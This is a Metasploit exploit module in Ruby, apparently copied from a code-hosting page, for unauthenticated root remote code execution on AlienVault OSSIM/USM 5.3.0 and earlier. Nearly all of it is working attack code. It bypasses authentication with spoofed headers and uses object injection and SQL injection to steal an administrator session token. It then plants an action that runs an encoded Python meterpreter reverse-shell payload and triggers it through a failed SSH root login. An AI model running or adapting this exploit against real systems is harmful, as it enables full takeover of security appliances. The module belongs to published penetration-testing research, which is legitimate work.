321 lines
10 KiB
Ruby
321 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::SSH
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "AlienVault OSSIM/USM Remote Code Execution",
|
|
'Description' => %q{
|
|
This module exploits object injection, authentication bypass and ip spoofing vulnerabilities all together.
|
|
Unauthenticated users can execute arbitrary commands under the context of the root user.
|
|
|
|
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
|
|
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
|
|
action and policy that enables to execute operating system commands by using captured session token. As a final step,
|
|
SSH login attempt with an invalid credentials can trigger a created rogue policy which triggers an action that executes
|
|
operating system command with root user privileges.
|
|
|
|
This module was tested against following product and versions:
|
|
AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
|
|
AlienVault OSSIM 5.0.0, 4.6.1
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Peter Lapp', # EDB advisory owner
|
|
'Mehmet Ince <mehmet@mehmetince.net>' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
|
|
['EDB', '40682']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'SSL' => true,
|
|
'WfsDelay' => 10,
|
|
'Payload' => 'python/meterpreter/reverse_tcp'
|
|
},
|
|
'Platform' => ['python'],
|
|
'Arch' => ARCH_PYTHON,
|
|
'Targets' =>
|
|
[
|
|
['Alienvault USM/OSSIM <= 5.3.0', {}]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => "Jan 31 2017",
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
|
|
])
|
|
end
|
|
|
|
|
|
def check
|
|
r = rand_text_alpha(15)
|
|
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
|
|
'headers' => {
|
|
'User-Agent' => 'AV Report Scheduler',
|
|
},
|
|
'vars_get' => {
|
|
'type' => 'alarm',
|
|
'wtype' => 'foo',
|
|
'asset' => 'ALL_ASSETS',
|
|
'height' => 1,
|
|
'value' => p
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
|
|
Exploit::CheckCode::Vulnerable
|
|
else
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
end
|
|
|
|
|
|
def exploit
|
|
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
|
|
print_status("Hijacking administrator session")
|
|
|
|
sql = "SELECT id FROM sessions LIMIT 1"
|
|
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
|
|
'headers' => {
|
|
'X-Forwarded-For' => rhost.to_s,
|
|
'User-Agent' => 'AV Report Scheduler',
|
|
},
|
|
'vars_get' => {
|
|
'type' => 'alarm',
|
|
'wtype' => 'foo',
|
|
'asset' => 'ALL_ASSETS',
|
|
'height' => 1,
|
|
'value' => p
|
|
}
|
|
})
|
|
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
|
|
admin_session = $1
|
|
cookie = "PHPSESSID=#{admin_session}"
|
|
print_good("Admin session token : #{cookie}")
|
|
else
|
|
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
|
|
end
|
|
|
|
# Creating a Action that contains payload.
|
|
print_status("Creating rogue action")
|
|
r = rand_text_alpha(15)
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
|
|
'cookie' => cookie,
|
|
'headers' => {
|
|
'X-Forwarded-For' => rhost.to_s,
|
|
},
|
|
'vars_post' => {
|
|
'id' => '',
|
|
'action' => 'new',
|
|
'old_name' => '',
|
|
'action_name' => r,
|
|
'ctx' => '',
|
|
'old_descr' => '',
|
|
'descr' => r,
|
|
'action_type' => '2',
|
|
'only' => 'on',
|
|
'cond' => 'True',
|
|
'email_from' => '',
|
|
'email_to' => 'email;email;email',
|
|
'email_subject' => '',
|
|
'email_message' => '',
|
|
'transferred_user' => '',
|
|
'transferred_entity' => '',
|
|
'exec_command' => "python -c \"#{payload.encoded}\""
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body.include?("Action successfully updated")
|
|
print_good("Action created: #{r}")
|
|
else
|
|
fail_with(Failure::Unknown, "Unable to create action")
|
|
end
|
|
|
|
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
|
|
# Thus we're using hijacked administrator session.
|
|
print_status("Retrieving rogue action id")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
|
|
'cookie' => cookie,
|
|
'headers' => {
|
|
'X-Forwarded-For' => rhost.to_s,
|
|
},
|
|
'vars_get' => {
|
|
'page' => '1',
|
|
'rp' => '2000'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
|
|
action_id = $1
|
|
print_good("Corresponding Action ID found: #{action_id}")
|
|
else
|
|
fail_with(Failure::Unknown, "Unable to retrieve action id")
|
|
end
|
|
|
|
# Retrieving the policy data. We will use it while creating policy
|
|
print_status("Retrieving policy ctx and group values")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
|
|
'cookie' => cookie,
|
|
'headers' => {
|
|
'X-Forwarded-For' => rhost.to_s,
|
|
},
|
|
'vars_get' => {
|
|
'm_opt' => 'configuration',
|
|
'sm_opt' => 'threat_intelligence',
|
|
'h_opt' => 'policy'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
|
|
policy_ctx = $1
|
|
policy_group = $2
|
|
print_good("CTX Value found: #{policy_ctx}")
|
|
print_good("GROUP Value found: #{policy_group}")
|
|
else
|
|
fail_with(Failure::Unknown, "Unable to retrieve policy data")
|
|
end
|
|
|
|
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.
|
|
print_status("Creating a policy that uses our rogue action")
|
|
policy = rand_text_alpha(15)
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
|
|
'cookie' => cookie,
|
|
'headers' => {
|
|
'X-Forwarded-For' => rhost.to_s,
|
|
},
|
|
'vars_post' => {
|
|
'descr' => policy,
|
|
'active' => '1',
|
|
'group' => policy_group,
|
|
'ctx' => policy_ctx,
|
|
'order' => '1',
|
|
'action' => 'new',
|
|
'sources[]' => '00000000000000000000000000000000',
|
|
'dests[]' => '00000000000000000000000000000000',
|
|
'portsrc[]' => '0',
|
|
'portdst[]' => '0',
|
|
'plug_type' => '1',
|
|
'plugins[0]' => 'on',
|
|
'taxfilters[]' =>'25@2@0',
|
|
'tax_pt' => '0',
|
|
'tax_cat' => '0',
|
|
'tax_subc' => '0',
|
|
'mboxs[]' => '00000000000000000000000000000000',
|
|
'rep_act' => '0',
|
|
'rep_sev' => '1',
|
|
'rep_rel' => '1',
|
|
'rep_dir' => '0',
|
|
'ev_sev' => '1',
|
|
'ev_rel' => '1',
|
|
'tzone' => 'Europe/Istanbul',
|
|
'date_type' => '1',
|
|
'begin_hour' => '0',
|
|
'begin_minute' => '0',
|
|
'begin_day_week' => '1',
|
|
'begin_day_month' => '1',
|
|
'begin_month' => '1',
|
|
'end_hour' => '23',
|
|
'end_minute' => '59',
|
|
'end_day_week' => '7',
|
|
'end_day_month' => '31',
|
|
'end_month' => '12',
|
|
'actions[]' => action_id,
|
|
'sim' => '1',
|
|
'priority' => '1',
|
|
'qualify' => '1',
|
|
'correlate' => '0',
|
|
'cross_correlate' => '0',
|
|
'store' => '0'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_good("Policy created: #{policy}")
|
|
else
|
|
fail_with(Failure::Unknown, "Unable to create policy id")
|
|
end
|
|
|
|
# We gotta reload all policies in order to make our rogue one enabled.
|
|
print_status("Activating the policy")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
|
|
'cookie' => cookie,
|
|
'headers' => {
|
|
'X-Forwarded-For' => rhost.to_s,
|
|
},
|
|
'vars_get' => {
|
|
'what' => 'policies',
|
|
'back' => '../policy/policy.php'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200
|
|
print_good("Rogue policy activated")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
|
|
end
|
|
|
|
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
|
|
factory = ssh_socket_factory
|
|
opts = {
|
|
auth_methods: ['password'],
|
|
port: 22,
|
|
use_agent: false,
|
|
config: false,
|
|
password: rand_text_alpha(15),
|
|
proxy: factory,
|
|
non_interactive: true
|
|
}
|
|
|
|
print_status("Triggering the policy by performing SSH login attempt")
|
|
|
|
begin
|
|
Net::SSH.start(rhost, "root", opts)
|
|
rescue Net::SSH::AuthenticationFailed
|
|
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
|
|
rescue Net::SSH::Exception => e
|
|
print_error("SSH Error: #{e.class} : #{e.message}")
|
|
return nil
|
|
end
|
|
|
|
end
|
|
end
|